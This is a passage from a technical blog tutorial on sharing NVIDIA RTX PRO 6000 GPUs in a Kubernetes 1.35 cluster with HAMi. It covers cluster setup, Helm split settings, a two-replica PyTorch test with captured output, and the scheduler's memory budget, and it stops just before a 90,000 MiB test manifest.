- Summary: Share NVIDIA GPUs in Kubernetes with HAMi software vGPU slicing: memory and compute limits, Helm configuration, a verified PyTorch manifest, a real RTX PRO 6000 OOM test, and Prometheus monitoring.

Your platform team did everything right. You bought MIG-capable GPUs, carved them into hardware-isolated slices exactly like we did in [the MIG deep dive](/blog/slicing-gpus-in-kubernetes-with-nvidia-mig), and stopped handing a whole 96GB card to every notebook that asked for one. And yet the tickets keep coming.

One team needs 8GB of VRAM, but the smallest MIG profile on our RTX PRO 6000 is `1g.24gb`. That leaves most of the slice unused. Another workload needs 30GB, which does not match the available 24GB or 48GB profiles cleanly. Changing a MIG geometry also means stopping workloads that occupy the instances you need to destroy and recreate.

On Ampere GPUs, toggling MIG mode itself can additionally require a GPU reset; Hopper and newer GPUs no longer require that reset. NVIDIA documents the exact [RTX PRO 6000 profiles](https://docs.nvidia.com/datacenter/tesla/mig-user-guide/supported-mig-profiles.html#rtx-pro-6000-blackwell-mig-profiles) and the [generation-specific reset behavior](https://docs.nvidia.com/datacenter/tesla/mig-user-guide/getting-started-with-mig.html#enable-mig-mode).

Then there is the rest of the fleet: NVIDIA cards that do not support MIG, or clusters where fixed hardware partitions are simply the wrong fit. Kubernetes normally treats a GPU as an indivisible extended resource, so a pod asking for one GPU can occupy a whole card even when it uses only a small part of the memory and compute.

**HAMi (Heterogeneous AI Computing Virtualization Middleware)** adds a software sharing layer. In plain English, it gives Kubernetes three numbers to work with:

- **How many physical GPUs does this container need?** `nvidia.com/gpu`
- **How much memory may it use on each GPU?** `nvidia.com/gpumem`, in MiB
- **How much compute time may it receive?** `nvidia.com/gpucores`, in 1% steps

HAMi is now a [CNCF Incubating project](https://www.cncf.io/projects/hami/), and its maintained [device support matrix](https://project-hami.io/docs/userguide/device-supported) covers NVIDIA plus several other accelerator families through vendor-specific plugins.

This walkthrough runs on our actual test rig: **8 NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs**. All eight cards are in non-MIG mode, and `deviceSplitCount: 10` makes Kubelet report `8 × 10 = 80` logical scheduling slots. That does **not** create 80 GPUs or multiply the machine's VRAM. It creates 80 scheduling slots backed by the same eight cards. The exact live command and output appear below.

For this guide, we rebuilt that node as a clean single-node Kubernetes v1.35.6 cluster, installed HAMi v2.9.0 as a new Helm release, and then ran the sharing and quota tests you will see below. The point is not merely to show the final YAML. It is to make every software layer between the physical GPU and the pod understandable.

Who this is for:

- Platform engineers who already run (or have evaluated) NVIDIA MIG and want to know what changes when isolation moves from silicon to software.
- Teams who need finer-grained GPU fractions than MIG's fixed profiles allow, or whose cards don't support MIG at all.

What you'll get from this guide:

- Why a GPU node may advertise more scheduling units than physical cards, what that number means, and what actually limits placement.
- A mental model for how HAMi enforces memory and compute limits without touching the hardware's memory crossbars.
- The exact Helm values that control the split factor, and how to size a workload's `nvidia.com/gpumem` / `nvidia.com/gpucores` requests.
- A verified Deployment manifest running a PyTorch workload against a HAMi vGPU slice on a Blackwell (`sm_120`) card.
- A concrete blast-radius test with captured output: one pod's process allocates past its memory grant while a second pod shares the same physical card.

The lab has one Kubernetes node, so this post does not pretend to benchmark multi-node scheduling. The same device-plugin architecture extends to every labeled GPU node, but cluster-scale policy and failure testing are separate exercises.

## The Problem: Fixed Hardware Profiles vs. Flexible Software Budgets

MIG solves the "one pod locks a whole 96GB card" problem by carving the GPU into hardware-isolated partitions. On this RTX PRO 6000, those partitions come in fixed profiles such as `1g.24gb`, `2g.48gb`, and `4g.96gb`.

That creates its own friction:

- If a workload needs 8GB, the smallest standard compute profile on this card is still 24GB. You waste less than with a whole card, but you still waste 16GB.
- A workload that needs 30GB does not fit the 24GB profile, so it must take 48GB.
- Changing the profile layout requires destroying and recreating affected MIG instances. That is operationally heavier than changing a pod resource request.
- MIG only works on supported GPUs and software combinations. It is not a universal sharing mechanism for every NVIDIA card.

**HAMi** takes a different approach. Instead of partitioning the silicon, its NVIDIA path combines device-aware scheduling with HAMi-Core, an injected user-space library. The `hami-scheduler` reserves a memory and compute budget; HAMi-Core tracks supported CUDA allocations and throttles compute while the container runs. The official [GPU virtualization walkthrough](https://project-hami.io/docs/core-concepts/gpu-virtualization) documents the complete webhook → scheduler → device plugin → HAMi-Core flow.

That means:

- Memory can be requested in 1 MiB units: `nvidia.com/gpumem: 8000` is valid, rather than choosing a fixed profile name.
- No GPU reset is required to change how a card is divided. The limits live in the pod spec, not the hardware.
- Compute can be requested in 1% steps with `nvidia.com/gpucores`.
- HAMi provides a common scheduling model across multiple accelerator families, with capabilities and plugins that vary by vendor. This article tests only the NVIDIA HAMi-Core path.

The tradeoff is the boundary. HAMi's NVIDIA limits are enforced in user space by intercepting CUDA/NVML paths. MIG's memory and compute boundaries are implemented in hardware. Both can prevent an ordinary CUDA workload from consuming another tenant's allocation, but they are not equivalent isolation guarantees.

{{hami-request-flow-animation}}

## Before Installing HAMi: The Four Layers

GPU setup becomes confusing when four different jobs are described as if they were one installation. Keep this stack in your head:

1. **NVIDIA driver:** lets Linux communicate with the physical GPU. `nvidia-smi` proves this layer works.
2. **NVIDIA Container Toolkit:** lets a container runtime expose that GPU inside a container.
3. **Kubernetes:** places pods on nodes and asks a device plugin for the devices assigned to each container.
4. **HAMi:** replaces whole-GPU scheduling with device-aware placement plus software memory and compute limits.

HAMi does not replace the driver, Container Toolkit, containerd, or Kubernetes. It builds on them.

Our clean test node used:

- **Host OS:** Ubuntu 24.04.4 LTS on Utho Cloud.
- **Kubernetes:** v1.35.6, one control-plane node (`utho-gpu-rtxpro6000-8-62383`).
- **Container runtime:** containerd 2.2.1.
- **GPUs:** 8x NVIDIA RTX PRO 6000 Blackwell Server Edition.
- **Memory per GPU:** 97,887 MiB reported by the driver.
- **NVIDIA driver:** 610.43.02.
- **NVIDIA Container Toolkit:** 1.19.1.

```bash
root@utho-gpu-rtxpro6000-8-62383:~# nvidia-smi -L
GPU 0: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-8b89b58e-b427-108d-ac50-06138d78fe78)
GPU 1: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-03a041b7-8abf-360a-d1a2-dfd70188cd5f)
GPU 2: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-ba09367f-dd50-32ca-e988-7ff66bece885)
GPU 3: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-30512c46-708b-f374-5698-ee24be6cd626)
GPU 4: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288)
GPU 5: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-04dc48d7-7048-aef5-ad36-f5db716e7668)
GPU 6: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4f5db98-143f-0a8d-47ce-956fab39a736)
GPU 7: NVIDIA RTX PRO 6000 Blackwell Server Edition (UUID: GPU-f4c61521-240a-da09-2787-e576034e197e)
```

## Build the Kubernetes 1.35 Cluster

If you already have a healthy Kubernetes cluster, do not reset it just to follow this guide. We rebuilt a dedicated test node so the installation path was clean. The package commands below follow Kubernetes' official [kubeadm installation guide](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/).

First enable the kernel settings Kubernetes networking needs and turn off swap:

```bash
sudo swapoff -a
sudo modprobe overlay
sudo modprobe br_netfilter

cat <<'EOF' | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.bridge.bridge-nf-call-ip6tables = 1
net.ipv4.ip_forward                 = 1
EOF

sudo sysctl --system
```

`swapoff -a` changes the running system only. If this node may reboot, also disable its swap entry in `/etc/fstab` or the corresponding systemd swap unit before treating the cluster as persistent.

Add the Kubernetes v1.35 package repository and install the node tools:

```bash
sudo apt-get update
sudo apt-get install -y apt-transport-https ca-certificates curl gpg
sudo mkdir -p -m 755 /etc/apt/keyrings

curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.35/deb/Release.key \
  | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg

echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.35/deb/ /' \
  | sudo tee /etc/apt/sources.list.d/kubernetes.list

sudo apt-get update
sudo apt-get install -y kubelet kubeadm kubectl
sudo apt-mark hold kubelet kubeadm kubectl
```

### Make the NVIDIA runtime the default

The host already had its NVIDIA driver and Container Toolkit. We configured containerd with the NVIDIA runtime and made it the default, which is also the setup expected by HAMi's [prerequisites](https://project-hami.io/docs/installation/prerequisites):

```bash
sudo nvidia-ctk runtime configure \
  --runtime=containerd \
  --set-as-default
sudo systemctl restart containerd
```

Verify the result instead of assuming it worked:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# containerd config dump \
  | grep -E 'default_runtime_name|BinaryName' | head -2
      default_runtime_name = 'nvidia'
            BinaryName = '/usr/bin/nvidia-container-runtime'
```

### Initialize the control plane

The `10.244.0.0/16` pod network below matches Flannel's default manifest:

```bash
PUBLIC_IP="<PUBLIC_IP>"

sudo kubeadm init \
  --kubernetes-version v1.35.6 \
  --apiserver-advertise-address "$PUBLIC_IP" \
  --pod-network-cidr 10.244.0.0/16 \
  --cri-socket unix:///run/containerd/containerd.sock

mkdir -p "$HOME/.kube"
sudo cp /etc/kubernetes/admin.conf "$HOME/.kube/config"
sudo chown "$(id -u):$(id -g)" "$HOME/.kube/config"
```

This is a one-node lab, so the control-plane node must also accept workloads. Do not remove this taint on a production control plane unless that is an intentional design decision:

```bash
kubectl taint nodes --all node-role.kubernetes.io/control-plane-
kubectl apply -f \
  https://github.com/flannel-io/flannel/releases/download/v0.28.7/kube-flannel.yml
```

The rebuilt node came up on the expected versions:

```text
NAME                          STATUS   KUBERNETES   RUNTIME
utho-gpu-rtxpro6000-8-62383   Ready    v1.35.6      containerd://2.2.1
```

## RuntimeClass and GPU Operator: Which Path Are We Using?

It is reasonable to expect an `nvidia` RuntimeClass if you normally install GPUs through the **NVIDIA GPU Operator**. Many Operator configurations create it.

That is not a universal rule anymore. In current GPU Operator releases, ordinary CDI (Container Device Interface)-injected workloads do not need to name a RuntimeClass, and enabling the newer NRI plugin deliberately removes the `nvidia` RuntimeClass. NVIDIA documents those mode differences in its [CDI and NRI guide](https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html).

This lab does **not** install GPU Operator. The host already has the driver and Container Toolkit, and containerd's default runtime is `nvidia`. Therefore:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get runtimeclass
No resources found
```

That empty output is correct for this setup. The later workload works without `runtimeClassName` because the NVIDIA runtime is already the default.

If your cluster already uses GPU Operator, do not run two device plugins that both advertise `nvidia.com/gpu`. HAMi's [GPU Operator compatibility guidance](https://project-hami.io/docs/faq) says to disable the Operator-managed device plugin (`devicePlugin.enabled=false`) when HAMi owns NVIDIA GPU scheduling. Keep the Operator for the driver/toolkit lifecycle if you need it; let HAMi own the conflicting device-plugin role.

## Install HAMi From Scratch

HAMi's NVIDIA device plugin selects nodes labeled `gpu=on` by default, so label the GPU node first:

```bash
kubectl label node utho-gpu-rtxpro6000-8-62383 gpu=on --overwrite
```

Now install a pinned HAMi chart. We pin its bundled `kube-scheduler` sidecar to the same version as the API server. Kubernetes' [version-skew policy](https://kubernetes.io/releases/version-skew-policy/#kube-controller-manager-kube-scheduler-and-cloud-controller-manager) expects the same minor version and permits the scheduler to be one minor older; an exact match simply removes avoidable skew from this lab. Notice the full Helm path, `scheduler.kubeScheduler.image.tag`; `scheduler.kubeScheduler.imageTag` is not a chart 2.9.0 value and would be silently ignored. The remaining values make the sharing policy explicit instead of hiding important behavior behind defaults:

```bash
helm repo add hami-charts https://project-hami.github.io/HAMi/
helm repo update hami-charts

K8S_VERSION=$(kubectl version -o json | jq -r '.serverVersion.gitVersion')

helm install hami hami-charts/hami \
  --version 2.9.0 \
  --namespace hami-system \
  --create-namespace \
  --wait \
  --timeout 10m \
  --set scheduler.kubeScheduler.image.tag="$K8S_VERSION" \
  --set devicePlugin.deviceSplitCount=10 \
  --set devicePlugin.deviceMemoryScaling=1 \
  --set devicePlugin.deviceCoreScaling=1 \
  --set devicePlugin.migStrategy=none \
  --set devicePlugin.createRuntimeClass=false \
  --set-string devicePlugin.disablecorelimit=false
```

This is the release created by that command, not a dry-run render or an inherited installation:

```text
NAME   NAMESPACE    REVISION   STATUS     CHART        APP VERSION
hami   hami-system  1          deployed   hami-2.9.0   2.9.0
```

Both HAMi components became healthy:

```text
NAME                              READY   STATUS    RESTARTS
hami-device-plugin-5wdzg          2/2     Running   0
hami-scheduler-6f74879cc7-9fddb   2/2     Running   0
```

The scheduler pod is cluster-wide. The device-plugin DaemonSet runs once on every selected GPU node. During the final review, we read the capacity and allocatable values directly from the live Node object:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get node utho-gpu-rtxpro6000-8-62383 \
  -o custom-columns='NAME:.metadata.name,KUBERNETES:.status.nodeInfo.kubeletVersion,GPU-CAPACITY:.status.capacity.nvidia\.com/gpu,GPU-ALLOCATABLE:.status.allocatable.nvidia\.com/gpu'
NAME                          KUBERNETES   GPU-CAPACITY   GPU-ALLOCATABLE
utho-gpu-rtxpro6000-8-62383   v1.35.6      80             80
```

That `80` is the real output from the all-eight non-MIG configuration: eight registered physical cards, each contributing ten logical device IDs.

### Where did `nvidia.com/gpu` come from?

Not from RuntimeClass, and not directly from GPU Operator. A **device plugin** is the component that registers an extended resource with Kubelet.

In a typical GPU Operator installation, the Operator deploys NVIDIA's official device plugin, which registers `nvidia.com/gpu`. In this installation, there is no GPU Operator or NVIDIA device-plugin DaemonSet. The HAMi chart installed **`hami-device-plugin`**, and that plugin owns the same resource name:

```text
NAME                 READY   DESIRED   IMAGE
hami-device-plugin   1       1         docker.io/projecthami/hami:v2.9.0
```

The live sequence is:

1. The host NVIDIA driver exposes eight physical GPUs.
2. `hami-device-plugin` discovers and registers all eight whole GPUs.
3. It connects to Kubelet's Device Plugin API and registers the configured resource name, `nvidia.com/gpu`.
4. `deviceSplitCount: 10` makes each registered whole GPU contribute ten schedulable device IDs.
5. Kubelet publishes `8 × 10 = 80` as the node's `nvidia.com/gpu` capacity.

This came from the **HAMi device-plugin container log**, not from Kubelet or the NVIDIA GPU Operator:

```bash
PLUGIN_POD=$(kubectl get pod -n hami-system \
  -l app.kubernetes.io/component=hami-device-plugin \
  -o jsonpath='{.items[0].metadata.name}')

kubectl logs -n hami-system "$PLUGIN_POD" -c device-plugin \
  | grep -E 'Discovered [0-9]+ device\(s\) for registration' \
  | tail -1
I0723 09:53:36.227471 1910347 register.go:197] Discovered 8 device(s) for registration
```

The node's `hami.io/node-nvidia-register` annotation records `"count": 10` for each of those eight registered GPU UUIDs. The physical inventory and MIG state agree:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# nvidia-smi \
  --query-gpu=index,name,mig.mode.current --format=csv,noheader
0, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
1, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
2, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
3, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
4, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
5, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
6, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
7, NVIDIA RTX PRO 6000 Blackwell Server Edition, Disabled
```

That is why the host has eight GPUs while this live HAMi registration contributes 80 logical slots. Without either HAMi's device plugin or NVIDIA's official device plugin, `nvidia-smi` could work perfectly on the host while Kubernetes would advertise **no** `nvidia.com/gpu` capacity.

This also explains the conflict warning above: HAMi's plugin and NVIDIA's official plugin should not both try to own `nvidia.com/gpu` on the same node.

The `nvcr.io/nvidia/pytorch:25.01-py3` image used later is an official NGC image. NVIDIA's [25.01 release notes](https://docs.nvidia.com/deeplearning/frameworks/pytorch-release-notes/rel-25-01.html) mark that release as optimized for Blackwell, and our test confirmed compute capability `(12, 0)` on this RTX PRO 6000.

## How HAMi's Architecture Differs from the MIG Stack

The MIG stack first creates hardware instances, then the NVIDIA device plugin advertises those instances to Kubernetes. HAMi leaves the physical GPU unpartitioned in `hami-core` mode and coordinates four software responsibilities instead: admission, placement, device injection, and in-container enforcement.

![Excalidraw-style flow showing a HAMi request moving through the webhook, scheduler extender, device plugin, HAMi-Core, and physical GPU](/img/blog/sharing-gpus-in-kubernetes-with-hami/hami-architecture.png)

### HAMi mutating webhook

When a pod requests HAMi-managed resources, the webhook routes it to `hami-scheduler`. It does **not** send every ordinary pod through HAMi. A CPU-only sanity-check pod on the rebuilt cluster retained `schedulerName: default-scheduler`, while the GPU test pods reported `schedulerName: hami-scheduler`.

### `hami-scheduler` (cluster-wide)

The HAMi scheduler pod contains a Kubernetes scheduler instance plus HAMi's extender logic. During **Filter**, it rejects nodes or cards that lack a free sharing slot, requested VRAM, or requested compute. During **Score**, it applies the configured binpack/spread policy. During **Bind**, it chooses a physical GPU UUID and records the allocation in pod annotations. The official [architecture documentation](https://project-hami.io/docs/core-concepts/architecture) describes these roles separately.

### `hami-device-plugin` (DaemonSet, one per GPU node)

Registers the logical GPU count with Kubelet, publishes each physical card's UUID/memory/core information in node annotations, and reads the scheduler's chosen allocation from the pod annotation. During the Device Plugin `Allocate` call it exposes `/dev/nvidia*`, mounts `libvgpu.so` and `/etc/ld.so.preload`, and injects limit variables into the container. Its `vgpu-monitor` sidecar exports real-time usage metrics; the OOM message itself is emitted by HAMi-Core inside the workload process.

### `hami-core` (the actual enforcement mechanism)

This is the shared library, `libvgpu.so`, that HAMi mounts into a managed NVIDIA workload container. `/etc/ld.so.preload` causes the dynamic linker to load it into processes before CUDA/NVML libraries. It intercepts supported calls used to allocate/query memory and throttles kernel launches for compute control. The [HAMi-Core design](https://project-hami.io/docs/developers/hami-core-design) places it between the CUDA runtime and driver.

When a container's tracked allocation would exceed its configured `nvidia.com/gpumem` limit, HAMi-Core returns an OOM on that intercepted path even if the physical card still has free memory. This is also why `nvidia-smi` _inside_ a HAMi container reports its virtualized total instead of the card's real 97887 MiB: the relevant NVML memory query is intercepted too.

Here is the mechanism from one of the fresh 8,000 MiB / 10% test containers:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl exec \
  -n hami-blog-verify pytorch-hami-demo-77b6f5dcd9-whrbg -- \
  sh -c 'cat /etc/ld.so.preload; printf "CUDA_DEVICE_MEMORY_LIMIT_0=%s\n" "$CUDA_DEVICE_MEMORY_LIMIT_0"; printf "CUDA_DEVICE_SM_LIMIT=%s\n" "$CUDA_DEVICE_SM_LIMIT"'
/usr/local/vgpu/libvgpu.so
CUDA_DEVICE_MEMORY_LIMIT_0=8000m
CUDA_DEVICE_SM_LIMIT=10
```

No `runtimeClassName` appears in our pod because the node uses `nvidia-container-runtime` by default and this chart was installed with `devicePlugin.createRuntimeClass: false`. HAMi still depends on the NVIDIA Container Toolkit/runtime; omitting the field does not mean that layer is unnecessary.

## What “80 GPUs” Means on an Eight-GPU Node

This node advertises `nvidia.com/gpu: 80` even though `nvidia-smi -L` lists eight physical cards. The missing mental model is simple:

- `deviceSplitCount: 10` means **up to ten separate workload containers may share one physical GPU**.
- `nvidia.com/gpu: 1` means the container needs one physical GPU in its device set. It does not mean “one tenth of a GPU,” and a single container cannot request two logical slots from the same card by setting this to `2`.
- `nvidia.com/gpumem` and `nvidia.com/gpucores` describe the per-GPU budget for that container.

The arithmetic is `8 HAMi-registered whole GPUs × 10 possible sharing workloads = 80 schedulable GPU units`. The node still has only eight physical memory systems and eight sets of SMs.

{{hami-slot-math-animation}}

The chart defaults to 10, but the right value is a concurrency choice, not a performance promise. A smaller number reduces how many containers can contend on one card. A larger number permits more tiny workloads, but adds more contexts, more neighbors, and more operational complexity. Setting it to `1` restores exclusive placement: only one workload can occupy each physical GPU.

With `deviceMemoryScaling: 1` and `deviceCoreScaling: 1`, the scheduler also checks the real aggregate budget. It does not admit a pod merely because a count slot is free. After deploying the two 8,000 MiB replicas in the next section, we prove this with a separate 90,000 MiB pod. Its complete manifest, commands, and captured `CardInsufficientMemory` event are included there.

That scheduler decision is **not an OOM**: the rejected container never starts. A real runtime OOM happens when an admitted container allocates beyond its own grant. We reproduce that separately in [the blast-radius test](#testing-the-blast-radius-what-happens-when-a-pod-exceeds-its-memory-quota).

The practical upside is density without fixed profile sizes. A notebook can request 8,000 MiB, a small inference replica 12,000 MiB, and another workload 20,000 MiB, as long as the total count, memory, and compute requests all fit. The practical costs are shared-hardware contention and a software isolation boundary, so latency-sensitive or adversarial tenants may still deserve MIG or dedicated GPUs.

### Verify the count yourself

The split factor appears in `hami.io/node-nvidia-register`, where each registered whole GPU has `"count": 10`. The simplest summary is the live node capacity:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get node utho-gpu-rtxpro6000-8-62383 \
  -o custom-columns='NAME:.metadata.name,KUBERNETES:.status.nodeInfo.kubeletVersion,GPU-CAPACITY:.status.capacity.nvidia\.com/gpu,GPU-ALLOCATABLE:.status.allocatable.nvidia\.com/gpu'
NAME                          KUBERNETES   GPU-CAPACITY   GPU-ALLOCATABLE
utho-gpu-rtxpro6000-8-62383   v1.35.6      80             80
```

The node's capacity confirms `8 × 10 = 80`, while `nvidia-smi -L` remains the source of truth for the eight-card physical inventory.

## Reading the Helm Values That Control the Split

The `count: 10` comes straight from the live Helm release's computed values. Here are only the fields that affect this walkthrough; the full output also contains image, service, security-context, and vendor configuration:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# helm get values -n hami-system hami --all
```

```yaml
devicePlugin:
  deviceSplitCount: 10
  deviceMemoryScaling: 1
  deviceCoreScaling: 1
  migStrategy: none
  disablecorelimit: "false"
  createRuntimeClass: false
  runtimeClassName: ""
  nvidiaNodeSelector:
    gpu: "on"
resourceName: nvidia.com/gpu
resourceMem: nvidia.com/gpumem
resourceMemPercentage: nvidia.com/gpumem-percentage
resourceCores: nvidia.com/gpucores
scheduler:
  defaultSchedulerPolicy:
    gpuSchedulerPolicy: spread
    nodeSchedulerPolicy: binpack
```

The current [HAMi configuration reference](https://project-hami.io/docs/userguide/configure) defines the semantics:

- **`deviceSplitCount: 10`** is the maximum number of workload containers HAMi may assign to one physical GPU. `1` means exclusive placement, not fractional sharing.
- **`deviceMemoryScaling: 1`** means the schedulable memory budget equals physical memory. Values above `1` deliberately advertise more memory than exists; HAMi documents memory overcommit as experimental, and a real physical OOM becomes possible if tenants use all promised memory together.
- **`deviceCoreScaling: 1`** keeps the aggregate schedulable compute budget at 100% per card.
- **`disablecorelimit: "false"`** enables HAMi-Core's compute limiting path. Core control is time-based throttling, so `nvidia-smi` utilization can fluctuate around the requested percentage rather than drawing a perfectly flat line.
- **`migStrategy: none`** means HAMi is not layering on top of MIG partitions here; it's doing pure `hami-core` software slicing against whole physical GPUs.
- **`nvidiaNodeSelector.gpu: "on"`** restricts the device plugin to nodes labeled `gpu=on`, which matches the label already on this node.
- **`gpuSchedulerPolicy: spread`** prefers different physical cards; **`nodeSchedulerPolicy: binpack`** prefers already-used nodes. For the same-GPU isolation test, relying on a preference is not precise enough, so the manifest below pins a known idle GPU UUID.

## How to Request vGPU Slices in a Pod Spec

Where a MIG manifest requests a fixed profile (`nvidia.com/mig-1g.24gb: 1`), a HAMi manifest can request three independent values:

One unit detail matters throughout the test: `gpumem` is measured in **MiB**. One MiB is 1,048,576 bytes, so 8,000 MiB is 8,388,608,000 bytes or 7.8125 GiB. That is why HAMi accepts `8000` while PyTorch later prints `7.81 GiB`; the numbers describe the same capacity.

```yaml
resources:
  limits:
    nvidia.com/gpu: 1 # use one physical GPU, possibly shared with other containers
    nvidia.com/gpumem: 8000 # reserve and expose 8000 MiB on that GPU
    nvidia.com/gpucores: 10 # request 10% of that GPU's compute time
```

Kubernetes extended resources belong in `limits`; if you also write `requests`, they must match. This manifest includes both explicitly.

### The exact two-container test

For an ordinary workload, let HAMi choose a card. For a blast-radius test, both replicas must share the **same** card, so I pinned them to idle GPU 5 with `nvidia.com/use-gpuuuid`. The additional `binpack` annotation states the intent, while the UUID makes the result deterministic. Replace the UUID for your node, or remove both annotations outside a test.

I kept the workload out of the `hami-system` control-plane namespace:

```bash
kubectl create namespace hami-blog-verify
```

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: pytorch-hami-demo
  namespace: hami-blog-verify
  labels:
    app: pytorch-hami-demo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: pytorch-hami-demo
  template:
    metadata:
      labels:
        app: pytorch-hami-demo
      annotations:
        # Test-only pin so both replicas definitely share GPU 5.
        nvidia.com/use-gpuuuid: "GPU-04dc48d7-7048-aef5-ad36-f5db716e7668"
        hami.io/gpu-scheduler-policy: "binpack"
    spec:
      containers:
        - name: pytorch
          image: nvcr.io/nvidia/pytorch:25.01-py3
          command: ["python3", "-c"]
          args:
            - |
              import torch
              import time

              print("=== CUDA vGPU Slice Diagnostics ===", flush=True)
              print("CUDA Available:", torch.cuda.is_available(), flush=True)
              if torch.cuda.is_available():
                  print("Device Name:", torch.cuda.get_device_name(0), flush=True)
                  print("Device Capability:", torch.cuda.get_device_capability(0), flush=True)
                  print("CUDA Device Count:", torch.cuda.device_count(), flush=True)

                  print("Allocating tensors and starting matrix math...", flush=True)
                  device = torch.device("cuda")
                  x = torch.randn(10000, 10000, device=device)
                  y = torch.randn(10000, 10000, device=device)

                  while True:
                      z = torch.matmul(x, y)
                      time.sleep(0.5)
              else:
                  print("ERROR: CUDA is not available!", flush=True)
                  time.sleep(3600)
          resources:
            limits:
              nvidia.com/gpu: 1
              nvidia.com/gpumem: 8000
              nvidia.com/gpucores: 10
            requests:
              nvidia.com/gpu: 1
              nvidia.com/gpumem: 8000
              nvidia.com/gpucores: 10
```

Apply it and wait for both replicas:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl apply -f pytorch-hami-demo.yaml
deployment.apps/pytorch-hami-demo created

root@utho-gpu-rtxpro6000-8-62383:~# kubectl rollout status \
  deployment/pytorch-hami-demo -n hami-blog-verify --timeout=180s
deployment "pytorch-hami-demo" successfully rolled out
```

Read the startup logs:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl logs \
  -n hami-blog-verify -l app=pytorch-hami-demo \
  --prefix --tail=20 \
  | grep -E 'CUDA Available|Device Name|Device Capability|CUDA Device Count'
[pod/pytorch-hami-demo-77b6f5dcd9-whrbg/pytorch] CUDA Available: True
[pod/pytorch-hami-demo-77b6f5dcd9-whrbg/pytorch] Device Name: NVIDIA RTX PRO 6000 Blackwell Server Edition
[pod/pytorch-hami-demo-77b6f5dcd9-whrbg/pytorch] Device Capability: (12, 0)
[pod/pytorch-hami-demo-77b6f5dcd9-whrbg/pytorch] CUDA Device Count: 1
[pod/pytorch-hami-demo-77b6f5dcd9-wx677/pytorch] CUDA Available: True
[pod/pytorch-hami-demo-77b6f5dcd9-wx677/pytorch] Device Name: NVIDIA RTX PRO 6000 Blackwell Server Edition
[pod/pytorch-hami-demo-77b6f5dcd9-wx677/pytorch] Device Capability: (12, 0)
[pod/pytorch-hami-demo-77b6f5dcd9-wx677/pytorch] CUDA Device Count: 1
```

Both placement annotations name GPU 5 and the same 8,000 MiB / 10% grant:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get pods \
  -n hami-blog-verify -l app=pytorch-hami-demo \
  -o custom-columns='NAME:.metadata.name,ALLOCATION:.metadata.annotations.hami\.io/vgpu-devices-allocated'
NAME                                 ALLOCATION
pytorch-hami-demo-77b6f5dcd9-whrbg   GPU-04dc48d7-7048-aef5-ad36-f5db716e7668,NVIDIA,8000,10:;
pytorch-hami-demo-77b6f5dcd9-wx677   GPU-04dc48d7-7048-aef5-ad36-f5db716e7668,NVIDIA,8000,10:;
```

Inside either container, `nvidia-smi` shows the virtualized view:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl exec \
  -n hami-blog-verify pytorch-hami-demo-77b6f5dcd9-whrbg -- \
  sh -c 'nvidia-smi --query-gpu=uuid,name,memory.total,memory.used --format=csv,noheader 2>/dev/null'
GPU-04dc48d7-7048-aef5-ad36-f5db716e7668, NVIDIA RTX PRO 6000 Blackwell Server Edition, 8000 MiB, 2107 MiB
```

The host sees the two real processes on the same physical UUID:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# nvidia-smi \
  --query-compute-apps=gpu_uuid,pid,used_memory --format=csv,noheader \
  | grep 'GPU-04dc48d7-7048-aef5-ad36-f5db716e7668'
GPU-04dc48d7-7048-aef5-ad36-f5db716e7668, 1932078, 2110 MiB
GPU-04dc48d7-7048-aef5-ad36-f5db716e7668, 1932782, 2110 MiB
```

The few-MiB difference between in-container and host accounting is normal tool/accounting overhead. The important facts are the shared UUID and each container's separate 8,000 MiB view.

### Prove that memory budget beats free count slots

At this point, two of GPU 5's ten count slots are occupied. The allocation annotation proves that both 8,000 MiB reservations landed on the same physical card:

```bash
root@utho-gpu-rtxpro6000-8-62383:~# kubectl get pods \
  -n hami-blog-verify -l app=pytorch-hami-demo \
  -o custom-columns='NAME:.metadata.name,ALLOCATION:.metadata.annotations.hami\.io/vgpu-devices-allocated'
NAME                                 ALLOCATION
pytorch-hami-demo-77b6f5dcd9-whrbg   GPU-04dc48d7-7048-aef5-ad36-f5db716e7668,NVIDIA,8000,10:;
pytorch-hami-demo-77b6f5dcd9-wx677   GPU-04dc48d7-7048-aef5-ad36-f5db716e7668,NVIDIA,8000,10:;
```

Eight count slots are still free, but only `97,887 - 8,000 - 8,000 = 81,887 MiB` remains in HAMi's scheduling budget for that card. This third pod deliberately asks for 90,000 MiB:

```yaml
